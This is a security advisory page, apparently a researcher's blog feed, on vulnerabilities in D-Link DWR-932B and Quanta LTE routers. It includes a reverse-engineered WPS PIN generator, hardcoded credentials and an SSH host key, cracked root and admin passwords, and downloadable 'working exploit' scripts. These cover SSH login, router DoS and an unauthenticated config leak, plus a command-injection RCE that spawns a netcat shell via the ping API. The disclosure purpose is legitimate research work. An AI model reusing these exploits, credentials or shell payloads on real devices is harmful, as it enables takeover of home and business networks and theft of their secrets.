<p>The PIN generated by the router is weak as it is generated using this "strange" reverse-engineered algorithm:</p>
<pre><code>user@kali:~$ cat quanta-wps-gen.c
</code></pre>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #BC7A00">#include</span> <span style="color: #408080; font-style: italic">&lt;stdio.h&gt;</span><span style="color: #BC7A00"></span>
<span style="color: #BC7A00">#include</span> <span style="color: #408080; font-style: italic">&lt;stdlib.h&gt;</span><span style="color: #BC7A00"></span>
<span style="color: #BC7A00">#include</span> <span style="color: #408080; font-style: italic">&lt;time.h&gt;</span><span style="color: #BC7A00"></span>

<span style="color: #B00040">int</span> <span style="color: #0000FF">main</span>(<span style="color: #B00040">int</span>    argc,
         <span style="color: #B00040">char</span>   <span style="color: #666666">**</span>argv,
         <span style="color: #B00040">char</span>   <span style="color: #666666">**</span>envp)
{ 
  <span style="color: #B00040">unsigned</span> <span style="color: #B00040">int</span>  i0, i1;
  <span style="color: #B00040">int</span>           i2;

  <span style="color: #408080; font-style: italic">/* the seed is the current time of the router, which uses NTP... */</span>
  srand(time(<span style="color: #666666">0</span>));

  i0 <span style="color: #666666">=</span> rand() <span style="color: #666666">%</span> <span style="color: #666666">10000000</span>;
  <span style="color: #008000; font-weight: bold">if</span> (i0 <span style="color: #666666">&lt;=</span> <span style="color: #666666">999999</span>)
    i0 <span style="color: #666666">+=</span> <span style="color: #666666">1000000</span>;
  i1 <span style="color: #666666">=</span> <span style="color: #666666">10</span> <span style="color: #666666">*</span> i0;
  i2 <span style="color: #666666">=</span> (<span style="color: #666666">10</span> <span style="color: #666666">-</span> (i1 <span style="color: #666666">/</span> <span style="color: #666666">10000</span> <span style="color: #666666">%</span> <span style="color: #666666">10</span> <span style="color: #666666">+</span> i1 <span style="color: #666666">/</span> <span style="color: #666666">1000000</span> <span style="color: #666666">%</span> <span style="color: #666666">10</span> <span style="color: #666666">+</span> i1 <span style="color: #666666">/</span> <span style="color: #666666">100</span> <span style="color: #666666">%</span> <span style="color: #666666">10</span> <span style="color: #666666">+</span> <span style="color: #666666">3</span> <span style="color: #666666">*</span>
       (i1 <span style="color: #666666">/</span> <span style="color: #666666">100000</span> <span style="color: #666666">%</span> <span style="color: #666666">10</span> <span style="color: #666666">+</span> <span style="color: #666666">10</span> <span style="color: #666666">*</span> i0 <span style="color: #666666">/</span> <span style="color: #666666">10000000</span> <span style="color: #666666">%</span> <span style="color: #666666">10</span> <span style="color: #666666">+</span> i1 <span style="color: #666666">/</span> <span style="color: #666666">1000</span> <span style="color: #666666">%</span> <span style="color: #666666">10</span> <span style="color: #666666">+</span> i1 <span style="color: #666666">/</span> <span style="color: #666666">10</span> <span style="color: #666666">%</span> <span style="color: #666666">10</span>))
        <span style="color: #666666">%</span> <span style="color: #666666">10</span>) <span style="color: #666666">%</span> <span style="color: #666666">10</span> <span style="color: #666666">+</span> <span style="color: #666666">10</span> <span style="color: #666666">*</span> i0;

  printf(<span style="color: #BA2121">&quot;%d</span><span style="color: #BB6622; font-weight: bold">\n</span><span style="color: #BA2121">&quot;</span>, i2 );

  <span style="color: #008000; font-weight: bold">return</span> (<span style="color: #666666">0</span>);
}
</pre></div>

<pre><code>user@kali:~$ gcc -o dlink-wps-gen quanta-wps-gen.c
user@kali:~$ ./dlink-wps-gen
97329329
user@kali:~$
</code></pre>
<p>You can fetch this program at <a href="https://pierrekim.github.io/advisories/quanta-wps-gen.c">https://pierrekim.github.io/advisories/quanta-wps-gen.c</a>.</p>
<p>Using <code>srand(time(0))</code> as a seed is a bad idea because an attacker, knowing the current date as <code>time(0)</code> returns the current date in an integer value, can just generate the valid WPS PIN. The Router uses NTP so is likely to have a correct timestamp configured. It's trivial for an attacker to generate valid WPS PIN suites and bruteforce them.</p>
<p>For the curious reader, the original algorithm in the firmware is:</p>
<pre><code>.text:0001B4D4                 EXPORT generate_wlan_wps_enrollee_pin
.text:0001B4D4 generate_wlan_wps_enrollee_pin          ; CODE XREF: wifi_msg_handle+194p
.text:0001B4D4
.text:0001B4D4 var_3C          = -0x3C
.text:0001B4D4 var_38          = -0x38
.text:0001B4D4 s               = -0x34
.text:0001B4D4 var_30          = -0x30
.text:0001B4D4 var_2C          = -0x2C
.text:0001B4D4
.text:0001B4D4                 STMFD           SP!, {R4-R11,LR}
.text:0001B4D8                 SUB             SP, SP, #0x1C
.text:0001B4DC                 STR             R0, [SP,#0x40+s]
.text:0001B4E0                 MOV             R0, #0  ; timer
.text:0001B4E4                 BL              time
.text:0001B4E8                 BL              srand
.text:0001B4EC                 BL              rand
.text:0001B4F0                 LDR             R4, =0x6B5FCA6B
.text:0001B4F4                 MOV             R6, R0,ASR#31
.text:0001B4F8                 SMULL           R1, R4, R0, R4
.text:0001B4FC                 RSB             R10, R6, R4,ASR#22
.text:0001B500                 RSB             R12, R10, R10,LSL#5
.text:0001B504                 RSB             R2, R12, R12,LSL#6
.text:0001B508                 ADD             R11, R10, R2,LSL#3
.text:0001B50C                 LDR             R8, =0xF423F
.text:0001B510                 ADD             R9, R11, R11,LSL#2
.text:0001B514                 SUB             R1, R0, R9,LSL#7
.text:0001B518                 CMP             R1, R8
.text:0001B51C                 ADDLS           R1, R1, #0xF4000
.text:0001B520                 ADDLS           R1, R1, #0x240
.text:0001B524                 ADD             R3, R1, R1,LSL#2
.text:0001B528                 MOV             R3, R3,LSL#1
.text:0001B52C                 LDR             R1, =0xCCCCCCCD
.text:0001B530                 LDR             R5, =0xA7C5AC5
.text:0001B534                 LDR             R6, =0x6B5FCA6B
.text:0001B538                 MOV             R7, R3,LSR#5
.text:0001B53C                 UMULL           R4, R7, R5, R7
.text:0001B540                 UMULL           R9, LR, R1, R3
.text:0001B544                 UMULL           R5, R6, R3, R6
.text:0001B548                 LDR             R12, =0xD1B71759
.text:0001B54C                 MOV             R6, R6,LSR#22
.text:0001B550                 UMULL           R10, R12, R3, R12
.text:0001B554                 MOV             LR, LR,LSR#3
.text:0001B558                 UMULL           R10, R9, R1, R6
.text:0001B55C                 UMULL           R8, R10, R1, LR
.text:0001B560                 LDR             R0, =0x431BDE83
.text:0001B564                 MOV             R12, R12,LSR#13
.text:0001B568                 UMULL           R11, R0, R3, R0
.text:0001B56C                 STR             R10, [SP,#0x40+var_38]
.text:0001B570                 UMULL           R8, R10, R1, R12
.text:0001B574                 LDR             R2, =0x51EB851F
.text:0001B578                 LDR             R4, =0x10624DD3
.text:0001B57C                 UMULL           R5, R2, R3, R2
.text:0001B580                 MOV             R0, R0,LSR#18
.text:0001B584                 STR             R10, [SP,#0x40+var_3C]
.text:0001B588                 UMULL           R8, R4, R3, R4
.text:0001B58C                 UMULL           R8, R10, R1, R0
.text:0001B590                 MOV             R2, R2,LSR#5
.text:0001B594                 MOV             R7, R7,LSR#7
.text:0001B598                 UMULL           R8, R11, R1, R7
.text:0001B59C                 STR             R10, [SP,#0x40+var_30]
.text:0001B5A0                 MOV             R4, R4,LSR#6
.text:0001B5A4                 UMULL           R8, R10, R1, R2
.text:0001B5A8                 UMULL           R8, R5, R1, R4
.text:0001B5AC                 STR             R10, [SP,#0x40+var_2C]
.text:0001B5B0                 MOV             R8, R9,LSR#3
.text:0001B5B4                 MOV             R10, R11,LSR#3
.text:0001B5B8                 ADD             R11, R10, R10,LSL#2
.text:0001B5BC                 ADD             R9, R8, R8,LSL#2
.text:0001B5C0                 MOV             R10, R5,LSR#3
.text:0001B5C4                 LDR             R8, [SP,#0x40+var_38]
.text:0001B5C8                 SUB             R6, R6, R9,LSL#1
.text:0001B5CC                 SUB             R7, R7, R11,LSL#1
.text:0001B5D0                 LDR             R9, [SP,#0x40+var_3C]
.text:0001B5D4                 LDR             R11, [SP,#0x40+var_30]
.text:0001B5D8                 ADD             R5, R10, R10,LSL#2
.text:0001B5DC                 SUB             R5, R4, R5,LSL#1
.text:0001B5E0                 LDR             R4, [SP,#0x40+var_2C]
.text:0001B5E4                 MOV             R10, R8,LSR#3
.text:0001B5E8                 MOV             R8, R9,LSR#3
.text:0001B5EC                 MOV             R9, R11,LSR#3
.text:0001B5F0                 ADD             R7, R7, R6
.text:0001B5F4                 ADD             R10, R10, R10,LSL#2
.text:0001B5F8                 ADD             R9, R9, R9,LSL#2
.text:0001B5FC                 MOV             R11, R4,LSR#3
.text:0001B600                 ADD             R8, R8, R8,LSL#2
.text:0001B604                 ADD             R7, R7, R5
.text:0001B608                 SUB             LR, LR, R10,LSL#1
.text:0001B60C                 SUB             R5, R0, R9,LSL#1
.text:0001B610                 SUB             R8, R12, R8,LSL#1
.text:0001B614                 ADD             R11, R11, R11,LSL#2
.text:0001B618                 ADD             R12, R7, LR
.text:0001B61C                 SUB             R4, R2, R11,LSL#1
.text:0001B620                 ADD             R8, R8, R5
.text:0001B624                 ADD             R5, R8, R4
.text:0001B628                 ADD             R0, R12, R12,LSL#1
.text:0001B62C                 ADD             R4, R5, R0
.text:0001B630                 UMULL           R5, R1, R4, R1
.text:0001B634                 MOV             R2, R1,LSR#3
.text:0001B638                 ADD             LR, R2, R2,LSL#2
.text:0001B63C                 SUB             R8, R4, LR,LSL#1
.text:0001B640                 LDR             R0, =0x66666667
.text:0001B644                 RSB             R2, R8, #0xA
.text:0001B648                 SMULL           R8, R0, R2, R0
.text:0001B64C                 MOV             R12, R2,ASR#31
.text:0001B650                 RSB             R1, R12, R0,ASR#2
.text:0001B654                 ADD             LR, R1, R1,LSL#2
.text:0001B658                 LDR             R12, =(aHostapd_conf_f - 0x1B670)
.text:0001B65C                 SUB             R4, R2, LR,LSL#1
.text:0001B660                 LDR             R2, =(aGet_wpspinI - 0x1B67C)
.text:0001B664                 ADD             R4, R4, R3
.text:0001B668                 ADD             R0, PC, R12 ; "hostapd_conf_file_gen"
.text:0001B66C                 ADD             R0, R0, #0x3C
.text:0001B670                 MOV             R1, #0x3B
.text:0001B674                 ADD             R2, PC, R2 ; "Get_WpsPin:%in"
.text:0001B678                 MOV             R3, R4
.text:0001B67C                 BL              wifi_filelog
.text:0001B680                 LDR             R1, =(a08lu - 0x1B690)
.text:0001B684                 LDR             R0, [SP,#0x40+s] ; s
.text:0001B688                 ADD             R1, PC, R1 ; "%08lu"
.text:0001B68C                 MOV             R2, R4
.text:0001B690                 ADD             SP, SP, #0x1C
.text:0001B694                 LDMFD           SP!, {R4-R11,LR}
.text:0001B698                 B               sprintf
.text:0001B698 ; End of function generate_wlan_wps_enrollee_pin
</code></pre>
<p><a id="leaking-no-ip-account"></a></p>
<h2>Details - Leaking No-IP account (?):</h2>
<p>The file <code>/etc/inadyn-mt.conf</code> (for a dyndns client) contains an user and a hardcoded password:</p>
<pre><code>--log_file /usr/inadyn_srv.log
--forced_update_period 6000
--username alex_hung
--password 641021
--dyndns_system default@no-ip.com
--alias test.no-ip.com
</code></pre>
<p><a id="rce-lulz-httpd"></a></p>
<h2>Details - Multiple vulnerabilities in the HTTP daemon (qmiweb)</h2>
<p>The HTTP daemon <code>/bin/qmiweb</code> is full of vulnerabilities.</p>
<p>You can see my precedent researches about a router model using a similar firmware:</p>
<ul>
<li><a href="https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html#webinterface-information-leak">https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html#webinterface-information-leak</a></li>
<li><a href="https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html#rce-1">https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html#rce-1</a></li>
<li><a href="https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html#rce-2">https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html#rce-2</a></li>
<li><a href="https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html#arbitrary-file-browsing-using-the-http-daemon">https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html#arbitrary-file-browsing-using-the-http-daemon</a></li>
<li><a href="https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html#arbitrary-file-reading-using-the-http-daemon">https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html#arbitrary-file-reading-using-the-http-daemon</a></li>
</ul>
<p>Adapting the exploits is left as exercises for the reader :)</p>
<p><a id="remote-fota"></a></p>
<h2>Details - Remote FOTA (Firmware Over The Air)</h2>
<p>The credentials to contact the FOTA server are hardcoded in the <code>/sbin/fotad</code> binary, as shown with this IDA screenshot:</p>
<p><img alt="" src="images/2016-dlink-sbin-fota-http-req.png" /></p>
<p>The function sub_CAAC contains the credentials as base64-strings, used to retrieve the firmware.</p>
<p>It's notable the FOTA daemon tries to retrieve the firmware over HTTPS. But at the date of the writing,
the SSL certificate for <a href="https://qdp:qdp@fotatest.qmitw.com/qdh/ispname/2031/appliance.xml">https://qdp:qdp@fotatest.qmitw.com/qdh/ispname/2031/appliance.xml</a> is invalid for 1.5 year.</p>
<p><img alt="" src="images/2016-dlink-sbin-fota-http-req-auth-passwords.png" /></p>
<p>The user/password combinations are:</p>
<pre><code>qdpc:qdpc
qdpe:qdpe
qdp:qdp
</code></pre>
<p><a id="bad-security-practices"></a></p>
<h2>Details - Bad security practices:</h2>
<p>From <code>/etc/init.d/start_appmgr</code>, you will read "strange" shell commands executed as root, like:</p>
<pre><code>if [  -f /sbin/netcfg ]; then
        echo -n "chmod 777 netcfg"
        chmod 777 /sbin/netcfg
fi
if [  -f /bin/QNetCfg ]; then
        echo -n "chmod 777 QNetCfg"
        chmod 777 /bin/QNetCfg
fi
</code></pre>
<p>I have no idea why the vendor needs to chmod 777 files located in /bin/.</p>
<p><a id="security-removed-in-upnp"></a></p>
<h2>Details - Security removed in UPnP</h2>
<p>UPnP allows to add firewall rules dynamically. Because of the security risks involved, generally there are restrictions in place to avoid dangerous new firewall rules from an unstrusted LAN client.</p>
<p>Insecurity in IPnP was hype 10 years ago (in 2006). The security level of the UPNP program (miniupnp) in this router is volountarily lowered as shown below and allows an attacker located in the LAN area to add Port forwarding from the Internet to other clients located in the LAN:</p>
<p>The /var/miniupnpd.conf is generated by the <code>/bin/appmgr</code> program:</p>
<p><img alt="" src="images/2016-dlink-appmgr-sub_2AE0C.png" /></p>
<p>It will generate the <code>/var/miniupnpd.conf</code> file:</p>
<pre><code>ext_ifname=rmnet0
listening_ip=bridge0
port=2869
enable_natpmp=yes
enable_upnp=yes
bitrate_up=14000000
bitrate_down=14000000
secure_mode=no      # "secure" mode : when enabled, UPnP client are allowed to add mappings only to their IP.
presentation_url=http://192.168.1.1
system_uptime=yes
notify_interval=30
upnp_forward_chain=MINIUPNPD
upnp_nat_chain=MINIUPNPD
</code></pre>
<p>There is no restriction about the UPnP permission rules in the configuration file, contrary to common usage in UPnP where it is advised to only allow redirection of port above 1024:</p>
<p>Normal config file:</p>
<pre><code># UPnP permission rules
# (allow|deny) (external port range) ip/mask (internal port range)
# A port range is &lt;min port&gt;-&lt;max port&gt; or &lt;port&gt; if there is only
# one port in the range.
# ip/mask format must be nn.nn.nn.nn/nn
# it is advised to only allow redirection of port above 1024
# and to finish the rule set with "deny 0-65535 0.0.0.0/0 0-65535"
allow 1024-65535 192.168.0.0/24 1024-65535
deny 0-65535 0.0.0.0/0 0-65535
</code></pre>
<p>In the configuration of the vulnerable router where there are no permission rules, an attacker can forward everything from the WAN into the LAN. For example, an attacker can add a forwarding rule in order to allow traffic from the Internet to local Exchange servers, mail servers, ftp servers, http servers, database servers... In fact, this lack of security allows a local user to forward whatever they want from the Internet into the LAN.</p>
<h2>Personal notes</h2>
<p>As the router has a sizable memory (168 MB), a decent CPU and good free space (235 MB) with complete toolkits installed by default (sshd, proxy (<code>/bin/tinyproxy -c /var/tproxy.conf</code>), tcpdump ...), I advise users to trash their routers because it's trivial for an attacker to use this router as an attack vector (ie: hosting a sniffing tool, LAN hacking, active MiTM tool, spamming zombie).</p>
<p>From my tests, it is possible to overwrite the firmware with a custom (backdoored) firmware. Generating a valid backdoored firmware is left as an exercise for the reader, but with all these vulnerabilities present in the default firmware, I don't think it is worth making the effort.</p>
<h2>Vendor Response</h2>
<p>Customers with questions should contact their local/regional D-Link support offices for the latest information.</p>
<h2>Report Timeline</h2>
<ul>
<li>Dec 04, 2015: Vulnerabilities found by Pierre Kim in Quanta routers.</li>
<li>Apr 04, 2016: A public advisory about Quanta routers is sent to security mailing lists.</li>
<li>Jun 09, 2016: Pierre Kim is contacted by Gianni Carabelli about Dlink DWR-932 router's similarities to Quanta routers.</li>
<li>Jun 14, 2016: Pierre Kim thanks Gianni Carabelli and says he will contact Dlink.</li>
<li>Jun 15, 2016: Dlink is contacted about vulnerabilities in the DWR-932 router (=~ 20 vulns).</li>
<li>Jun 16, 2016: Dlink Security Incident Response Team (William Brown) acknowledges the receipt of the report and says they will provide further updates.</li>
<li>Jul 09, 2016: Pierre asks for updates.</li>
<li>Jul 09, 2016: Dlink says they will have correction by July 15.</li>
<li>Jul 19, 2016: Pierre asks for updates.</li>
<li>Aug 19, 2016: Pierre asks for updates.</li>
<li>Sep 12, 2016: Pierre asks for updates and says he will soon release an advisory as 90 days have passed without news.</li>
<li>Sep 12, 2016: cert@cert.org is contacted to get pieces of advice about the disclosure.</li>
<li>Sep 13, 2016: CERT recommends to try to contact D-link and to publish the advisory.</li>
<li>Sep 13, 2016: Dlinks says they don't have a schedule for a firmware release. Customers who have questions should contact their local/regional D-Link support offices for the latest information. <a href="http://support.dlink.com">support.dlink.com</a> will be updated in the next 24 hours.</li>
<li>Sep 28, 2016: A public advisory is sent to security mailing lists.</li>
</ul>
<h2>Credits</h2>
<p>These vulnerabilities were found by Pierre Kim (<a href="https://twitter.com/PierreKimSec">@PierreKimSec</a>).</p>
<p>I would like to thank <a href="https://www.linkedin.com/pulse/rooting-dlink-dwr-923-4g-router-gianni-carabelli">Gianni Carabelli</a> who found this router and thought it was very similar to the previous backdoored Quanta routers.</p>
<h2>References</h2>
<p><a href="https://pierrekim.github.io/advisories/2016-dlink-0x00.txt">https://pierrekim.github.io/advisories/2016-dlink-0x00.txt</a></p>
<p><a href="https://pierrekim.github.io/blog/2016-09-28-dlink-dwr-932b-lte-routers-vulnerabilities.html">https://pierrekim.github.io/blog/2016-09-28-dlink-dwr-932b-lte-routers-vulnerabilities.html</a></p>
<p><a href="https://www.linkedin.com/pulse/rooting-dlink-dwr-923-4g-router-gianni-carabelli">https://www.linkedin.com/pulse/rooting-dlink-dwr-923-4g-router-gianni-carabelli</a></p>
<h2>Disclaimer</h2>
<p>This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/">http://creativecommons.org/licenses/by-nc-sa/3.0/</a></p></content>
    </entry>
    
    <entry>
        <title>Multiple vulnerabilities found in Quanta LTE routers (backdoor, backdoor accounts, RCE, weak WPS ...)</title>
        <link href="2016-04-04-quanta-lte-routers-vulnerabilities.html"/>
        <content type="html"><h2>Product Description</h2>
<p>Quanta Computer Incorporated is a Taiwan-based manufacturer of electronic hardware.
It is the largest manufacturer of notebook computers in the world.</p>
<h2>Vulnerabilities Summary</h2>
<p>The Quanta LTE QDH Router device is a LTE router / access point overall badly
designed with a lot of vulnerabilities. It's available in a number of countries to
provide Internet with a LTE network.</p>
<p>The tests below are done using the latest available firmware (firmware 01.00.05_1210, model revision QDHY10_M1.2252_45041, /DailyBuild/MDM9x25_2031_QDT/QDHY_2031_YOOMEE/codebase/MDM9x25_2031_QDH_20141210_0940/MDM9x25_2031_QDT/LINUX/apps_proc/oe-core/build/tmp-eglibc/work-shared/gcc-4.6.2+svnr181430-r22/gcc-4_6-branch/libgcc/../gcc/config/arm).</p>
<p>The summary of the vulnerabilities is:</p>
<ul>
<li><a href="#hardcoded-ssh-server-key">Hardcoded SSH Server key</a></li>
<li><a href="#backdoor-accounts">Backdoor accounts</a></li>
<li><a href="#router-dos">Router DoS</a></li>
<li><a href="#webinterface-information-leak">WebInterface Information Leak</a></li>
<li><a href="#rce-1">RCE #1</a></li>
<li><a href="#rce-2">RCE #2</a></li>
<li><a href="#backdoor">Backdoor</a></li>
<li><a href="#default-wps-pin">Default WPS PIN</a></li>
<li><a href="#weak-wps-pin-generation">Weak WPS PIN Generation - with a reverse-engineered algorithm</a></li>
<li><a href="#backdoor-accounts-in-samba">Backdoor accounts in Samba</a></li>
<li><a href="#leaking-no-ip-account">Leaking No-IP account (?)</a></li>
<li><a href="#remote-fota">Remote FOTA (Firmware Over The Air)</a></li>
<li><a href="#toctou-lpe">TOCTOU vulnerability in QCMAP_ConnectionManager - LPE</a></li>
<li><a href="#default-wifi-password-weakness">Default Wifi Password Weakness</a></li>
<li><a href="#http-dos">HTTP DoS</a></li>
<li><a href="#arbitrary-file-browsing-using-the-http-daemon">Arbitrary file browsing using the http daemon</a></li>
<li><a href="#arbitrary-file-reading-using-the-http-daemon">Arbitrary file reading using the http daemon</a></li>
<li><a href="#network-eavesdropping">Network Eavesdropping - Interception with the gglogd program</a></li>
<li><a href="#security-removed-in-upnp">Security removed in UPnP</a></li>
<li><a href="#undocumented-diagnostic-webpage">Undocumented diagnostic webpage</a></li>
<li><a href="#misc">Misc</a></li>
</ul>
<p>A personal point of view: at best, the vulnerabilites are due to incompetence; at worst, it is a deliberate act of security sabotage from the vendor. Not all the vulnerabilities found have been disclosed in this advisory. Only the significant ones are shown.</p>
<p>Note: This firmware is being used by other Quanta CPEs. From the <code>/usr/www/js/ui/qdisplay.js</code> file,
the vulnerable firmware seems to be used in several routers:</p>
<ul>
<li>Quanta 4G WiFi Router QDH</li>
<li>Quanta 4G WiFi Router UNE</li>
<li>Quanta 4G WiFi Router MOBILY (QDH-Mobily - CPE342X)</li>
<li>Quanta 4G WiFi Router Yoomee</li>
</ul>
<p><img src="http://my.ifdesign.de/upload/entry_ex_media/award_277/127936_4516_large_entry_medium.jpg" width=250></p>
<p>The routers are still on sale and used in several countries.</p>
<p>Due to lack of communication of the vendor, the specific list of affected countries is unknown. However, we assume the affected firmware is used at least in some Arabic speaking countries as the Help files are written in English, French, Chinese and Arabic (See <code>http://192.168.1.1/help_ar.html</code>). </p>
<p><strong>Due to lack of security patches provided by the vendor, the vulnerabilities will remain unpatched</strong>.</p>
<p><a id="hardcoded-ssh-server-key"></a></p>
<h2>Details - Hardcoded SSH Server key</h2>
<p>A hardcoded SSH server key can be found in <code>/etc/dropbear/dropbear_rsa_host_key</code> and can be used to decipher SSH traffic to the router:</p>
<pre><code>admin@homerouter:~$ ls -la /etc/dropbear/dropbear_rsa_host_key
-rw-------  1 root  root  427 Dec 10  2014 dropbear/dropbear_rsa_host_key
#
</code></pre>
<p>Base64 hardcoded SSH server key:</p>
<pre><code>user@kali:~$ cat dropbear_rsa_host_key | base64 
AAAAB3NzaC1yc2EAAAADAQABAAAAgwC9P88UlGdb6WIsIcyni8zh4zLdrSORieNeZNXtDHiH
zgs80XQ8FOBBaNBTBAib+GX6V8Aixvmh315+H6xyb4fQSlicpJ1lq4k7pKsrXGgdYS2FTPrX
A8YG+1beVvWeK9/8LjXAdZCzwE7D8jOSPh9dw0HIuPQhBCfxE4o/WOvYwVMZAAAAggHJf9g9
CAZWS3zo80ysPWqvKXBuNYEm9RCTwXDn/p3isFi6Th+Qn2cCuT/lcHrfkz/0Uu5JJHuWt0bX
3/ojKzxIaUQplS1Kumc4qF65ksKWjCmJuKvtO50dooZNEmq86AKKnrC6t+7qb/5koX9eu/dV
4w4P2jETGZBEUOLwFULn9aEAAABCAPUi4oI9NcRHZ3tvlEXgN/7Cd2F/UbshuW0kV1v4sJZj
ABmVrJ5TXol8Ne8KoWinxHfGaSky/IJR9zSkTaUJy115AAAAQgDFouA20kCjNeGgtabxuRP7
lndn8/4jXR0/HvEVdZIki9Z5gifC5+gxn8rKcyTSZZmyMYGwLQsN3Z9LumQT/DdaoQ==
user@kali:~$
</code></pre>
<p><a id="backdoor-accounts"></a></p>
<h2>Details - Backdoor accounts</h2>
<p>By default, telnetd and SSHd are running in the router.</p>
<p>2 backdoors accounts exist and can be used to bypass the HTTP authentication used to manage the router.</p>
<pre><code>admin@homerouter:~$ grep admin /etc/passwd 
admin:htEcF9TWn./9Q:168:168:admin:/:/bin/sh
admin@homerouter:~$
</code></pre>
<p>The password for admin is 'admin' and can be found in the <code>/bin/appmgr</code> program using IDA:</p>
<p><img alt="" src="images/2016-quanta-backdoor-admin-default-mod_sysadm_config_passwd.png" /></p>
<p>About the root user:</p>
<pre><code>root@homerouter:~# grep root /etc/shadow
root:aRDiHrJ0OkehM:16414:0:99999:7:::
root@homerouter:~#
</code></pre>
<p>Using john to crack the hashes:</p>
<pre><code>user@kali:~$ john -show shadow+passwd
admin:admin:admin:/:/bin/sh
root:1234:16414:0:99999:7:::

2 password hashes cracked, 0 left
user@kali:~$
</code></pre>
<p>Results:</p>
<ul>
<li>admin has password admin</li>
<li>root has password 1234</li>
</ul>
<p>Working exploit for admin:</p>
<pre><code>user@kali:~$ cat quanta-ssh-default-password-admin
#!/usr/bin/expect -f

set timeout 3
spawn ssh admin@192.168.1.1
expect "password: $"
send "admin\r"
interact
user@kali:~$ ./quanta-ssh-default-password-admin
spawn ssh admin@192.168.1.1
admin@192.168.1.1's password:
admin@homerouter:~$ id
uid=168(admin) gid=168(admin) groups=168(admin)
admin@homerouter:~$
</code></pre>
<p>Alternatively, you can fetch it at <a href="https://pierrekim.github.io/advisories/quanta-ssh-default-password-admin">https://pierrekim.github.io/advisories/quanta-ssh-default-password-admin</a>.</p>
<p>Working exploit for root</p>
<pre><code>user@kali:~$ cat quanta-ssh-default-password-root
#!/usr/bin/expect -f

set timeout 3
spawn ssh root@192.168.1.1
expect "password: $"
send "1234\r"
interact
user@kali:~$ ./quanta-ssh-default-password-root
spawn ssh root@192.168.1.1
root@192.168.1.1's password:
root@homerouter:~# id
uid=168(root) gid=168(root) groups=168(root)
root@homerouter:~#
</code></pre>
<p>Alternatively, you can fetch it at <a href="https://pierrekim.github.io/advisories/quanta-ssh-default-password-root">https://pierrekim.github.io/advisories/quanta-ssh-default-password-root</a>.</p>
<p><a id="router-dos"></a></p>
<h2>Details - Router DoS</h2>
<p>The router has apparently small capacity when trying to route packets.</p>
<p>This "exploit" will likely force the router to reboot:</p>
<pre><code>user@kali:~$ cat quanta-dos-crash-router.sh
#!/bin/sh

echo this exploit will crash the router if you are using RJ45
echo press [enter]
read x
nmap -sP -T5 10.201.12.0/24 2&gt;/dev/null &gt;/dev/null

user@kali:~$ ./quanta-dos-crash-router.sh
this exploit will crash the router if you are using RJ45
press [enter]

[the router will reboot]
user@kali:~$
</code></pre>
<p>Alternatively, you can fetch it at <a href="https://pierrekim.github.io/advisories/quanta-dos-crash-router.sh">https://pierrekim.github.io/advisories/quanta-dos-crash-router.sh</a>.</p>
<p><a id="webinterface-information-leak"></a></p>
<h2>Details - WebInterface Information Leak</h2>
<p>The webinterface allows an attacker to retrieve every sensible information without authentication (web login, web passwords, wifi configuration, WPS PIN, Dyndns login, Dyndns passwords, Wifi SSIDs, ...).</p>
<p>This "exploit" will show all the configuration of the router, including logins and passwords:</p>
<pre><code>user@kali:~$ cat quanta-infoleak.sh
#!/bin/sh

ip=$1
if [ ! $1 ]; then
  echo "$0 ip"
  exit 1
fi

echo "INFOLEAK"
echo "press [enter]"
read wut
for i in system apn firewall fota lan modem portfwd r_sku samba sms10 wan_lte wan_wifi wifi cm netstat ipfilter ddns dlna tr069 ip6filter wizard ; do
  wget -qO- "http://$ip/data.ria?CfgType=get_homeCfg&amp;file=$i"
done
user@kali:~$
</code></pre>
<p>Alternatively, you can fetch it at <a href="https://pierrekim.github.io/advisories/quanta-infoleak.sh">https://pierrekim.github.io/advisories/quanta-infoleak.sh</a>.</p>
<p>Using this exploit:</p>
<pre><code>user@kali:~$ ./quanta-infoleak.sh 192.168.1.1
INFOLEAK
press [enter]
[META]
System_Log="2,M"
[VER]
config="1.0"
[DEVICE]
web_usrname="admin"
web_passwd="admin"
login_timeout="0"
language="10"
[SNTP]
enable="1"
timezone="16"
update_period="12"
server1="0.africa.pool.ntp.org"
server2="1.africa.pool.ntp.org"
server3="time.windows.com"
[PWRMGR]
batt_idle_tm="0"
deep_sleep_tm="0"
pwroff_idle_tm="0"
[WEBSVC]

[....snip....]
[AP1]
enable="1"
ssid="OperatorWiFi-0000"
channel="0"
ch_width="0"
hidden="0"
security="3"
wpa_auth="5"
wpa_passphrase="test test"
[....snip....]
enrollee_pin="28296607"
[....snip....]
user@kali:~$
</code></pre>
<p><a id="rce-1"></a></p>
<h2>Details - RCE #1</h2>
<p>The Webinterface allows an attacker to execute commands as root by injecting commands.</p>
<p>The first RCE has been found in the ping API:</p>
<p>Ping Remote command execution with <code>nc -l -p 1337 -e /bin/ash</code> as a payload</p>
<pre><code>user@kali:~$ wget -qO/dev/null --header="Cookie: ${http_session}" --post-data="{\"CfgType\":\"ping\",\"cmd\":\"ping\",\"url\":\"\`/bin/nc -l -p 1337 -e /bin/ash\`\",\"cnt\":4,\"authID\":\"${http_csrf_token}\"}" "http://192.168.1.1/webpost.cgi"
</code></pre>
<p>A complete exploit is provided and will produce this output:</p>
<pre><code>user@kali:~$ ./quanta-rce-remote-exploit-ping.sh
  Stage [1] - Bypassing authentication ... OK
  local admin             = admin
  local passw             = admin
  wifi access point       = OperatorWiFi-0000
  wifi password           = test
  WPS PIN                 = 28296607
  guest wifi access point = OperatorWiFi-Guest-0000
  guest wifi password     = 12345678
  public ip               = 0.0.0.0
  gateway                 = 0.0.0.0
  subnet mask             = 255.255.255.252
  dns server #1           = 41.242.32.26
  dns server #2           = 41.242.32.42

Stage [2] - RCE ... OK
